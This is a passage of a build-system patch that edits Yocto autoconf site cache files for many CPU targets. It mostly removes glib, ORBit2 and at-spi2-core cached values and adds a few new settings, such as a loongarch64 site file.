-glib_cv_sizeof_ptrdiff_t=${glib_cv_sizeof_ptrdiff_t=4}
-glib_cv_sizeof_size_t=${glib_cv_sizeof_size_t=4}
-glib_cv_sizeof_system_thread=${glib_cv_sizeof_system_thread=4}
-ac_cv_alignof_guint32=4
-ac_cv_alignof_guint64=8
-ac_cv_alignof_unsigned_long=4
-
# jikes
ac_cv_sizeof_wchar_t=4
-
-# ORBit2
-ac_cv_alignof_CORBA_boolean=1
-ac_cv_alignof_CORBA_char=1
-ac_cv_alignof_CORBA_double=8
-ac_cv_alignof_CORBA_float=4
-ac_cv_alignof_CORBA_long=4
-ac_cv_alignof_CORBA_long_double=8
-ac_cv_alignof_CORBA_long_long=8
-ac_cv_alignof_CORBA_octet=1
-ac_cv_alignof_CORBA_pointer=4
-ac_cv_alignof_CORBA_short=2
-ac_cv_alignof_CORBA_struct=1
-ac_cv_alignof_CORBA_wchar=2
-
-# at-spi2-core
-ac_cv_alignof_char=1
-ac_cv_alignof_dbind_pointer=4
-ac_cv_alignof_dbind_struct=1
-ac_cv_alignof_dbus_bool_t=4
-ac_cv_alignof_dbus_int16_t=2
-ac_cv_alignof_dbus_int32_t=4
-ac_cv_alignof_dbus_int64_t=8
-ac_cv_alignof_double=8
diff --git a/meta/site/arm-64 b/meta/site/arm-64
index 90c09b2d54..f4eae88471 100644
--- a/meta/site/arm-64
+++ b/meta/site/arm-64
@@ -6,41 +6,3 @@ ac_cv_sizeof_size_t=8
ac_cv_sizeof_ssize_t=8
ac_cv_alignof_char=1
ac_cv_alignof_double=8
-
-# glib
-#glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-#glib_cv_sizeof_system_thread=${glib_cv_sizeof_system_thread=4}
-#glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-
-# glib-2.0
-#glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-#glib_cv_sizeof_intmax_t=${glib_cv_sizeof_intmax_t=8}
-#glib_cv_sizeof_ptrdiff_t=${glib_cv_sizeof_ptrdiff_t=4}
-#glib_cv_sizeof_size_t=${glib_cv_sizeof_size_t=4}
-#glib_cv_sizeof_system_thread=${glib_cv_sizeof_system_thread=4}
-ac_cv_alignof_guint32=4
-ac_cv_alignof_guint64=8
-ac_cv_alignof_unsigned_long=8
-
-# ORBit2 (should be in meta-gnome/site/arm-64)
-#ac_cv_alignof_CORBA_boolean=1
-#ac_cv_alignof_CORBA_char=1
-#ac_cv_alignof_CORBA_double=8
-#ac_cv_alignof_CORBA_float=4
-#ac_cv_alignof_CORBA_long=4
-#ac_cv_alignof_CORBA_long_double=8
-#ac_cv_alignof_CORBA_long_long=8
-#ac_cv_alignof_CORBA_octet=1
-#ac_cv_alignof_CORBA_pointer=4
-#ac_cv_alignof_CORBA_short=2
-#ac_cv_alignof_CORBA_struct=1
-#ac_cv_alignof_CORBA_wchar=2
-
-# at-spi2-core
-ac_cv_alignof_dbind_pointer=8
-ac_cv_alignof_dbind_struct=1
-ac_cv_alignof_dbus_bool_t=4
-ac_cv_alignof_dbus_int16_t=2
-ac_cv_alignof_dbus_int32_t=4
-ac_cv_alignof_dbus_int64_t=8
-
diff --git a/meta/site/arm-common b/meta/site/arm-common
index 8c37f3fc24..18c6d42200 100644
--- a/meta/site/arm-common
+++ b/meta/site/arm-common
@@ -41,25 +41,6 @@ ac_cv_func_fnmatch_works=${ac_cv_func_fnmatch_works=yes}
# gettext
am_cv_func_working_getline=${am_cv_func_working_getline=yes}
-# glib
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-glib_cv_uscore=${glib_cv_uscore=no}
-glib_cv_use_pid_surrogate=${glib_cv_use_pid_surrogate=yes}
-glib_cv_has__inline=${glib_cv_has__inline=yes}
-glib_cv_has__inline__=${glib_cv_has__inline__=yes}
-glib_cv_hasinline=${glib_cv_hasinline=yes}
-glib_cv_sane_realloc=${glib_cv_sane_realloc=yes}
-glib_cv_uscore=${glib_cv_uscore=no}
-glib_cv_va_val_copy=${glib_cv_va_val_copy=yes}
-glib_cv_rtldglobal_broken=${glib_cv_rtldglobal_broken=no}
-glib_cv_sys_pthread_mutex_trylock_posix=${glib_cv_sys_pthread_mutex_trylock_posix=yes}
-glib_cv_sys_pthread_getspecific_posix=${glib_cv_sys_pthread_getspecific_posix=yes}
-glib_cv_sys_pthread_cond_timedwait_posix=${glib_cv_sys_pthread_cond_timedwait_posix=yes}
-
-# glib-2.0
-glib_cv_long_long_format=${glib_cv_long_long_format=ll}
-glib_cv_sys_use_pid_niceness_surrogate=${glib_cv_sys_use_pid_niceness_surrogate=yes}
-
#gstreamer
as_cv_unaligned_access=${as_cv_unaligned_access=no}
@@ -73,9 +54,6 @@ lftp_cv_va_val_copy=${lftp_cv_va_val_copy=yes}
# libesmtp
acx_working_snprintf=${acx_working_snprintf=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# libnet
ac_libnet_have_packet_socket=${ac_libnet_have_packet_socket=yes}
diff --git a/meta/site/arm-darwin b/meta/site/arm-darwin
index 09ff097aa0..00d9a64aa7 100644
--- a/meta/site/arm-darwin
+++ b/meta/site/arm-darwin
@@ -1,7 +1,5 @@
ac_cv_lib_m_sin=${ac_cv_lib_m_sin=yes}
ac_cv_func_posix_spawn=${ac_cv_func_posix_spawn=no}
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-glib_cv_uscore=${glib_cv_uscore=no}
ac_cv_func_posix_getpwnam_r=${ac_cv_func_posix_getpwnam_r=no}
ac_cv_func_posix_getpwuid_r=${ac_cv_func_posix_getpwuid_r=no}
ac_cv_func_posix_getgrgid_r=${ac_cv_func_posix_getgrgid_r=no}
diff --git a/meta/site/arm-darwin8 b/meta/site/arm-darwin8
index 09ff097aa0..00d9a64aa7 100644
--- a/meta/site/arm-darwin8
+++ b/meta/site/arm-darwin8
@@ -1,7 +1,5 @@
ac_cv_lib_m_sin=${ac_cv_lib_m_sin=yes}
ac_cv_func_posix_spawn=${ac_cv_func_posix_spawn=no}
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-glib_cv_uscore=${glib_cv_uscore=no}
ac_cv_func_posix_getpwnam_r=${ac_cv_func_posix_getpwnam_r=no}
ac_cv_func_posix_getpwuid_r=${ac_cv_func_posix_getpwuid_r=no}
ac_cv_func_posix_getgrgid_r=${ac_cv_func_posix_getgrgid_r=no}
diff --git a/meta/site/arm-linux b/meta/site/arm-linux
index fb3c81d0e9..c4205a4a2e 100644
--- a/meta/site/arm-linux
+++ b/meta/site/arm-linux
@@ -17,7 +17,7 @@ ac_cv_sizeof_long_p=${ac_cv_sizeof_long_p=4}
ac_cv_sizeof_float=${ac_cv_sizeof_float=4}
ac_cv_sizeof_double=${ac_cv_sizeof_double=8}
ac_cv_sizeof_long_double=${ac_cv_sizeof_long_double=8}
-ac_cv_sizeof_ptrdiff_t=${glib_cv_sizeof_ptrdiff_t=4}
+ac_cv_sizeof_ptrdiff_t=${ac_cv_sizeof_ptrdiff_t=4}
ac_cv_sizeof_unsigned_short=${ac_cv_sizeof_unsigned_short=2}
ac_cv_sizeof_unsigned=${ac_cv_sizeof_unsigned=4}
ac_cv_sizeof_unsigned_int=${ac_cv_sizeof_unsigned_int=4}
diff --git a/meta/site/armeb-linux b/meta/site/armeb-linux
index 6521ff584a..3e57e1843c 100644
--- a/meta/site/armeb-linux
+++ b/meta/site/armeb-linux
@@ -12,7 +12,7 @@ ac_cv_sizeof_void_p=${ac_cv_sizeof_void_p=4}
ac_cv_sizeof_long_double=${ac_cv_sizeof_long_double=8}
ac_cv_sizeof_char_p=${ac_cv_sizeof_char_p=4}
ac_cv_sizeof_unsigned=${ac_cv_sizeof_unsigned=4}
-ac_cv_sizeof_ptrdiff_t=${glib_cv_sizeof_ptrdiff_t=4}
+ac_cv_sizeof_ptrdiff_t=${ac_cv_sizeof_ptrdiff_t=4}
ac_cv_uchar=${ac_cv_uchar=no}
ac_cv_uint=${ac_cv_uint=yes}
diff --git a/meta/site/common-glibc b/meta/site/common-glibc
index 0a665658fb..958699b143 100644
--- a/meta/site/common-glibc
+++ b/meta/site/common-glibc
@@ -12,7 +12,6 @@ ac_cv_func_getgrgid_r=${ac_cv_func_getgrgid_r=yes}
ac_cv_func_getpwuid_r=${ac_cv_func_getpwuid_r=yes}
ac_cv_func_posix_getpwuid_r=${ac_cv_func_posix_getpwuid_r=yes}
ac_cv_func_posix_getgrgid_r=${ac_cv_func_posix_getgrgid_r=yes}
-ac_cv_type_uid_t={ac_cv_type_uid_t=yes}
ac_cv_func_getaddrinfo=${ac_cv_func_getaddrinfo=yes}
ac_cv_func_strtod=${ac_cv_func_strtod=yes}
@@ -36,19 +35,6 @@ gl_cv_func_working_mkstemp=${gl_cv_func_working_mkstemp=yes}
gl_cv_func_working_mktime=${gl_cv_func_working_mktime=yes}
gl_cv_func_working_utimes=${gl_cv_func_working_utimes=yes}
-# glib
-glib_cv_strlcpy=${glib_cv_strlcpy=no}
-ac_cv_func_printf_unix98=${ac_cv_func_printf_unix98=yes}
-ac_cv_func_snprintf_c99=${ac_cv_func_snprintf_c99=yes}
-ac_cv_func_vsnprintf_c99=${ac_cv_func_vsnprintf_c99=yes}
-glib_cv_compliant_posix_memalign=${glib_cv_compliant_posix_memalign=1}
-glib_cv_long_long_format=${glib_cv_long_long_format=ll}
-# glib-1.x requires this and pkgconfig-native / pkgconfig-nativesdk use
-# that to avoid a dependency loop.
-glib_cv___va_copy=${glib_cv___va_copy=yes}
-glib_cv_va_copy=${glib_cv_va_copy=yes}
-glib_cv_have_qsort_r=${glib_cv_have_qsort_r=yes}
-
#dbus-glib
ac_cv_have_abstract_sockets=${ac_cv_have_abstract_sockets=yes}
diff --git a/meta/site/common-linux b/meta/site/common-linux
index 1c1fdafbb0..8f23adeab4 100644
--- a/meta/site/common-linux
+++ b/meta/site/common-linux
@@ -1,6 +1,9 @@
# gettext - these add sleep delays otherwise
gl_cv_func_sleep_works=${gl_cv_func_sleep_works=yes}
gl_cv_header_working_fcntl_h=${gl_cv_header_working_fcntl_h=yes}
+# the euc-jp tests in iconv.m4 break elfutils and libunistring depending on the
+# host locales installed. Avoid this by skipping the tests, we're not on HP-UX!
+am_cv_func_iconv_works=${am_cv_func_iconv_works=yes}
# apr
ac_cv_file__dev_zero=${ac_cv_file__dev_zero=yes}
diff --git a/meta/site/common-musl b/meta/site/common-musl
index 44a7a1aea9..0fd0413819 100644
--- a/meta/site/common-musl
+++ b/meta/site/common-musl
@@ -15,19 +15,15 @@ ac_cv_func_posix_getgrgid_r=${ac_cv_func_posix_getgrgid_r=yes}
ac_cv_func_getaddrinfo=${ac_cv_func_getaddrinfo=yes}
ac_cv_func_mmap_fixed_mapped=${ac_cv_func_mmap_fixed_mapped=yes}
ac_cv_func_strtod=${ac_cv_func_strtod=yes}
-
-# glib
-glib_cv_strlcpy=${glib_cv_strlcpy=no}
-ac_cv_func_printf_unix98=${ac_cv_func_printf_unix98=yes}
-ac_cv_func_snprintf_c99=${ac_cv_func_snprintf_c99=yes}
-ac_cv_func_vsnprintf_c99=${ac_cv_func_vsnprintf_c99=yes}
-glib_cv_compliant_posix_memalign=${glib_cv_compliant_posix_memalign=1}
-glib_cv_long_long_format=${glib_cv_long_long_format=ll}
-glib_cv_have_qsort_r=${glib_cv_have_qsort_r=no}
+# off_t is always 64bit on musl systems
+ac_cv_sys_file_offset_bits=${ac_cv_sys_file_offset_bits=64}
#dbus-glib
ac_cv_have_abstract_sockets=${ac_cv_have_abstract_sockets=yes}
+# bash
+bash_cv_getcwd_malloc=${bash_cv_getcwd_malloc=yes}
+
# coreutils
fu_cv_sys_stat_statfs2_bsize=${fu_cv_sys_stat_statfs2_bsize=yes}
gl_cv_func_getcwd_abort_bug=${gl_cv_func_getcwd_abort_bug=no}
diff --git a/meta/site/ix86-common b/meta/site/ix86-common
index a2384372db..eae5670d93 100644
--- a/meta/site/ix86-common
+++ b/meta/site/ix86-common
@@ -69,28 +69,6 @@ ettercap_cv_type_socklen_t=${ettercap_cv_type_socklen_t=yes}
# gettext
am_cv_func_working_getline=${am_cv_func_working_getline=yes}
-# glib
-glib_cv_sizeof_system_thread=${glib_cv_sizeof_system_thread=4}
-glib_cv_has__inline=${glib_cv_has__inline=yes}
-glib_cv_has__inline__=${glib_cv_has__inline__=yes}
-glib_cv_hasinline=${glib_cv_hasinline=yes}
-glib_cv_sane_realloc=${glib_cv_sane_realloc=yes}
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-glib_cv_sys_pthread_cond_timedwait_posix=${glib_cv_sys_pthread_cond_timedwait_posix=yes}
-glib_cv_sys_pthread_getspecific_posix=${glib_cv_sys_pthread_getspecific_posix=yes}
-glib_cv_sys_pthread_mutex_trylock_posix=${glib_cv_sys_pthread_mutex_trylock_posix=yes}
-glib_cv_uscore=${glib_cv_uscore=no}
-glib_cv_va_val_copy=${glib_cv_va_val_copy=yes}
-glib_cv_rtldglobal_broken=${glib_cv_rtldglobal_broken=yes}
-
-# glib-2.0
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-utils_cv_sys_open_max=${utils_cv_sys_open_max=1015}
-glib_cv_use_pid_surrogate=${glib_cv_use_pid_surrogate=yes}
-ac_cv_alignof_guint32=4
-ac_cv_alignof_guint64=4
-ac_cv_alignof_unsigned_long=4
-
# guile
ac_cv_uchar=${ac_cv_uchar=no}
ac_cv_uint=${ac_cv_uint=yes}
@@ -107,9 +85,6 @@ ac_cv_sizeof_wchar_t=4
ac_cv_need_trio=${ac_cv_need_trio=no}
lftp_cv_va_val_copy=${lftp_cv_va_val_copy=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# libnet
ac_cv_lbl_unaligned_fail=${ac_cv_lbl_unaligned_fail=no}
ac_libnet_have_packet_socket=${ac_libnet_have_packet_socket=yes}
@@ -121,20 +96,6 @@ with_broken_putenv=${with_broken_putenv=no}
mysql_cv_func_atomic_sub=${mysql_cv_func_atomic_sub=yes}
mysql_cv_func_atomic_add=${mysql_cv_func_atomic_add=yes}
-# ORBit2
-ac_cv_alignof_CORBA_boolean=1
-ac_cv_alignof_CORBA_char=1
-ac_cv_alignof_CORBA_double=4
-ac_cv_alignof_CORBA_float=4
-ac_cv_alignof_CORBA_long=4
-ac_cv_alignof_CORBA_long_double=4
-ac_cv_alignof_CORBA_long_long=4
-ac_cv_alignof_CORBA_octet=1
-ac_cv_alignof_CORBA_pointer=4
-ac_cv_alignof_CORBA_short=2
-ac_cv_alignof_CORBA_struct=4
-ac_cv_alignof_CORBA_wchar=2
-
# php
ac_cv_pread=${ac_cv_pread=no}
ac_cv_pwrite=${ac_cv_pwrite=no}
@@ -209,13 +170,3 @@ ac_cv_lib_c_signalfd=${ac_cv_lib_c_signalfd=yes}
nfsd_cv_broken_setfsuid=${nfsd_cv_broken_setfsuid=0}
nfsd_cv_func_statfs=${nfsd_cv_func_statfs=statfs2_bsize}
nfsd_cv_bsd_signals=${nfsd_cv_bsd_signals=yes}
-
-# at-spi2-core
-ac_cv_alignof_char=1
-ac_cv_alignof_dbind_pointer=4
-ac_cv_alignof_dbind_struct=1
-ac_cv_alignof_dbus_bool_t=4
-ac_cv_alignof_dbus_int16_t=2
-ac_cv_alignof_dbus_int32_t=4
-ac_cv_alignof_dbus_int64_t=4
-ac_cv_alignof_double=4
diff --git a/meta/site/loongarch64-linux b/meta/site/loongarch64-linux
new file mode 100644
index 0000000000..384d3bd877
--- /dev/null
+++ b/meta/site/loongarch64-linux
@@ -0,0 +1,7 @@
+# general
+ac_cv_alignof_guint32=4
+ac_cv_alignof_guint64=8
+ac_cv_alignof_unsigned_long=8
+
+# startup-notification
+lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
diff --git a/meta/site/microblaze-linux b/meta/site/microblaze-linux
index c6a40c6bec..61dcd43e8c 100644
--- a/meta/site/microblaze-linux
+++ b/meta/site/microblaze-linux
@@ -26,29 +26,6 @@ ac_cv_uint=${ac_cv_uint=yes}
ac_cv_ulong=${ac_cv_ulong=yes}
ac_cv_ushort=${ac_cv_ushort=yes}
-# glib
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-glib_cv_has__inline=${glib_cv_has__inline=yes}
-glib_cv_has__inline__=${glib_cv_has__inline__=yes}
-glib_cv_hasinline=${glib_cv_hasinline=yes}
-glib_cv_sane_realloc=${glib_cv_sane_realloc=yes}
-glib_cv_uscore=${glib_cv_uscore=no}
-glib_cv_va_copy=${glib_cv_va_copy=yes}
-glib_cv_va_val_copy=${glib_cv_va_val_copy=yes}
-glib_cv___va_copy=${glib_cv___va_copy=yes}
-
-# glib-2.0
-glib_cv_long_long_format=${glib_cv_long_long_format=ll}
-ac_cv_alignof_guint32=4
-ac_cv_alignof_guint64=8
-ac_cv_alignof_unsigned_long=4
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-glib_cv_sizeof_intmax_t=${glib_cv_sizeof_intmax_t=8}
-glib_cv_sizeof_ptrdiff_t=${glib_cv_sizeof_ptrdiff_t=4}
-glib_cv_sizeof_size_t=${glib_cv_sizeof_size_t=4}
-glib_cv_sizeof_system_thread=${glib_cv_sizeof_system_thread=4}
-glib_cv_sys_use_pid_niceness_surrogate=${glib_cv_sys_use_pid_niceness_surrogate=yes}
-
# startup-notification
lf_cv_sane_realloc=yes
diff --git a/meta/site/mips-common b/meta/site/mips-common
index 5858dfb15b..55dc50beb1 100644
--- a/meta/site/mips-common
+++ b/meta/site/mips-common
@@ -15,39 +15,8 @@ screen_cv_sys_sockets_nofs=${screen_cv_sys_sockets_nofs=no}
screen_cv_sys_sockets_usable=${screen_cv_sys_sockets_usable=yes}
screen_cv_sys_terminfo_used=${screen_cv_sys_terminfo_used=yes}
-# ORBit2
-ac_cv_alignof_CORBA_octet=1
-ac_cv_alignof_CORBA_boolean=1
-ac_cv_alignof_CORBA_char=1
-ac_cv_alignof_CORBA_wchar=2
-ac_cv_alignof_CORBA_short=2
-ac_cv_alignof_CORBA_long=4
-ac_cv_alignof_CORBA_long_long=8
-ac_cv_alignof_CORBA_float=4
-ac_cv_alignof_CORBA_double=8
-ac_cv_alignof_CORBA_long_double=8
-ac_cv_alignof_CORBA_pointer=4
-ac_cv_alignof_CORBA_struct=1
-
# apache
ac_cv_sizeof_ssize_t=${ac_cv_sizeof_ssize_t=4}
-# glib
-glib_cv_va_val_copy=${glib_cv_va_val_copy=yes}
-ac_cv_alignof_guint32=4
-ac_cv_alignof_guint64=8
-ac_cv_alignof_unsigned_long=4
-
-
# slrn
slrn_cv_va_val_copy=${slrn_cv_va_val_copy=yes}
-
-# at-spi2-core
-ac_cv_alignof_char=1
-ac_cv_alignof_dbind_pointer=4
-ac_cv_alignof_dbind_struct=1
-ac_cv_alignof_dbus_bool_t=4
-ac_cv_alignof_dbus_int16_t=2
-ac_cv_alignof_dbus_int32_t=4
-ac_cv_alignof_dbus_int64_t=8
-ac_cv_alignof_double=8
diff --git a/meta/site/mips-linux b/meta/site/mips-linux
index 72a54f95e3..91570ec309 100644
--- a/meta/site/mips-linux
+++ b/meta/site/mips-linux
@@ -15,33 +15,12 @@ ac_cv_have_space_d_name_in_struct_dirent=${ac_cv_have_space_d_name_in_struct_dir
# fget
compat_cv_func_snprintf_works=${compat_cv_func_snprintf_works=yes}
-# glib
-glib_cv___va_copy=${glib_cv___va_copy=yes}
-glib_cv_has__inline=${glib_cv_has__inline=yes}
-glib_cv_has__inline__=${glib_cv_has__inline__=yes}
-glib_cv_hasinline=${glib_cv_hasinline=yes}
-glib_cv_long_long_format=${glib_cv_long_long_format=ll}
-glib_cv_rtldglobal_broken=${glib_cv_rtldglobal_broken=no}
-glib_cv_sane_realloc=${glib_cv_sane_realloc=yes}
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-glib_cv_sizeof_system_thread=${glib_cv_sizeof_system_thread=4}
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-glib_cv_uscore=${glib_cv_uscore=no}
-
-# glib-2.0
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-utils_cv_sys_open_max=${utils_cv_sys_open_max=1015}
-glib_cv_use_pid_surrogate=${glib_cv_use_pid_surrogate=yes}
-
# libpcap
ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/mips64-linux b/meta/site/mips64-linux
index ed0fbbe653..7e05b94a09 100644
--- a/meta/site/mips64-linux
+++ b/meta/site/mips64-linux
@@ -15,37 +15,12 @@ ac_cv_have_space_d_name_in_struct_dirent=${ac_cv_have_space_d_name_in_struct_dir
# fget
compat_cv_func_snprintf_works=${compat_cv_func_snprintf_works=yes}
-# glib
-glib_cv___va_copy=${glib_cv___va_copy=yes}
-glib_cv_has__inline=${glib_cv_has__inline=yes}
-glib_cv_has__inline__=${glib_cv_has__inline__=yes}
-glib_cv_hasinline=${glib_cv_hasinline=yes}
-glib_cv_long_long_format=${glib_cv_long_long_format=ll}
-glib_cv_rtldglobal_broken=${glib_cv_rtldglobal_broken=no}
-glib_cv_sane_realloc=${glib_cv_sane_realloc=yes}
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-glib_cv_sizeof_system_thread=${glib_cv_sizeof_system_thread=4}
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-glib_cv_uscore=${glib_cv_uscore=no}
-
-# glib-2.0
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-utils_cv_sys_open_max=${utils_cv_sys_open_max=1015}
-glib_cv_use_pid_surrogate=${glib_cv_use_pid_surrogate=yes}
-ac_cv_alignof_guint32=4
-ac_cv_alignof_guint64=8
-ac_cv_alignof_unsigned_long=8
-ac_cv_sizeof_ssize_t=8
-
# libpcap
ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/mips64el-linux b/meta/site/mips64el-linux
index 680171d5e3..1e1d7687c2 100644
--- a/meta/site/mips64el-linux
+++ b/meta/site/mips64el-linux
@@ -15,37 +15,12 @@ ac_cv_have_space_d_name_in_struct_dirent=${ac_cv_have_space_d_name_in_struct_dir
# fget
compat_cv_func_snprintf_works=${compat_cv_func_snprintf_works=yes}
-# glib
-glib_cv___va_copy=${glib_cv___va_copy=yes}
-glib_cv_has__inline=${glib_cv_has__inline=yes}
-glib_cv_has__inline__=${glib_cv_has__inline__=yes}
-glib_cv_hasinline=${glib_cv_hasinline=yes}
-glib_cv_long_long_format=${glib_cv_long_long_format=ll}
-glib_cv_rtldglobal_broken=${glib_cv_rtldglobal_broken=no}
-glib_cv_sane_realloc=${glib_cv_sane_realloc=yes}
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-glib_cv_sizeof_system_thread=${glib_cv_sizeof_system_thread=4}
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-glib_cv_uscore=${glib_cv_uscore=no}
-
-# glib-2.0
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-utils_cv_sys_open_max=${utils_cv_sys_open_max=1015}
-glib_cv_use_pid_surrogate=${glib_cv_use_pid_surrogate=yes}
-ac_cv_alignof_guint32=4
-ac_cv_alignof_guint64=8
-ac_cv_alignof_unsigned_long=8
-ac_cv_sizeof_ssize_t=8
-
# libpcap
ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/mipsel-linux b/meta/site/mipsel-linux
index 696b1beeb4..a3077f2161 100644
--- a/meta/site/mipsel-linux
+++ b/meta/site/mipsel-linux
@@ -15,33 +15,12 @@ ac_cv_have_space_d_name_in_struct_dirent=${ac_cv_have_space_d_name_in_struct_dir
# fget
compat_cv_func_snprintf_works=${compat_cv_func_snprintf_works=yes}
-# glib
-glib_cv___va_copy=${glib_cv___va_copy=yes}
-glib_cv_has__inline=${glib_cv_has__inline=yes}
-glib_cv_has__inline__=${glib_cv_has__inline__=yes}
-glib_cv_hasinline=${glib_cv_hasinline=yes}
-glib_cv_long_long_format=${glib_cv_long_long_format=ll}
-glib_cv_rtldglobal_broken=${glib_cv_rtldglobal_broken=no}
-glib_cv_sane_realloc=${glib_cv_sane_realloc=yes}
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-glib_cv_sizeof_system_thread=${glib_cv_sizeof_system_thread=4}
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-glib_cv_uscore=${glib_cv_uscore=no}
-
-# glib-2.0
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-utils_cv_sys_open_max=${utils_cv_sys_open_max=1015}
-glib_cv_use_pid_surrogate=${glib_cv_use_pid_surrogate=yes}
-
# libpcap
ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/mipsisa32r6-linux b/meta/site/mipsisa32r6-linux
index 72a54f95e3..91570ec309 100644
--- a/meta/site/mipsisa32r6-linux
+++ b/meta/site/mipsisa32r6-linux
@@ -15,33 +15,12 @@ ac_cv_have_space_d_name_in_struct_dirent=${ac_cv_have_space_d_name_in_struct_dir
# fget
compat_cv_func_snprintf_works=${compat_cv_func_snprintf_works=yes}
-# glib
-glib_cv___va_copy=${glib_cv___va_copy=yes}
-glib_cv_has__inline=${glib_cv_has__inline=yes}
-glib_cv_has__inline__=${glib_cv_has__inline__=yes}
-glib_cv_hasinline=${glib_cv_hasinline=yes}
-glib_cv_long_long_format=${glib_cv_long_long_format=ll}
-glib_cv_rtldglobal_broken=${glib_cv_rtldglobal_broken=no}
-glib_cv_sane_realloc=${glib_cv_sane_realloc=yes}
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-glib_cv_sizeof_system_thread=${glib_cv_sizeof_system_thread=4}
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-glib_cv_uscore=${glib_cv_uscore=no}
-
-# glib-2.0
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-utils_cv_sys_open_max=${utils_cv_sys_open_max=1015}
-glib_cv_use_pid_surrogate=${glib_cv_use_pid_surrogate=yes}
-
# libpcap
ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/mipsisa32r6el-linux b/meta/site/mipsisa32r6el-linux
index 696b1beeb4..a3077f2161 100644
--- a/meta/site/mipsisa32r6el-linux
+++ b/meta/site/mipsisa32r6el-linux
@@ -15,33 +15,12 @@ ac_cv_have_space_d_name_in_struct_dirent=${ac_cv_have_space_d_name_in_struct_dir
# fget
compat_cv_func_snprintf_works=${compat_cv_func_snprintf_works=yes}
-# glib
-glib_cv___va_copy=${glib_cv___va_copy=yes}
-glib_cv_has__inline=${glib_cv_has__inline=yes}
-glib_cv_has__inline__=${glib_cv_has__inline__=yes}
-glib_cv_hasinline=${glib_cv_hasinline=yes}
-glib_cv_long_long_format=${glib_cv_long_long_format=ll}
-glib_cv_rtldglobal_broken=${glib_cv_rtldglobal_broken=no}
-glib_cv_sane_realloc=${glib_cv_sane_realloc=yes}
-glib_cv_sizeof_gmutex=${glib_cv_sizeof_gmutex=24}
-glib_cv_sizeof_system_thread=${glib_cv_sizeof_system_thread=4}
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-glib_cv_uscore=${glib_cv_uscore=no}
-
-# glib-2.0
-glib_cv_stack_grows=${glib_cv_stack_grows=no}
-utils_cv_sys_open_max=${utils_cv_sys_open_max=1015}
-glib_cv_use_pid_surrogate=${glib_cv_use_pid_surrogate=yes}
-
# libpcap
ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/mipsisa64r6-linux b/meta/site/mipsisa64r6-linux
index ed0fbbe653..7e05b94a09 100644
--- a/meta/site/mipsisa64r6-linux
+++ b/meta/site/mipsisa64r6-linux
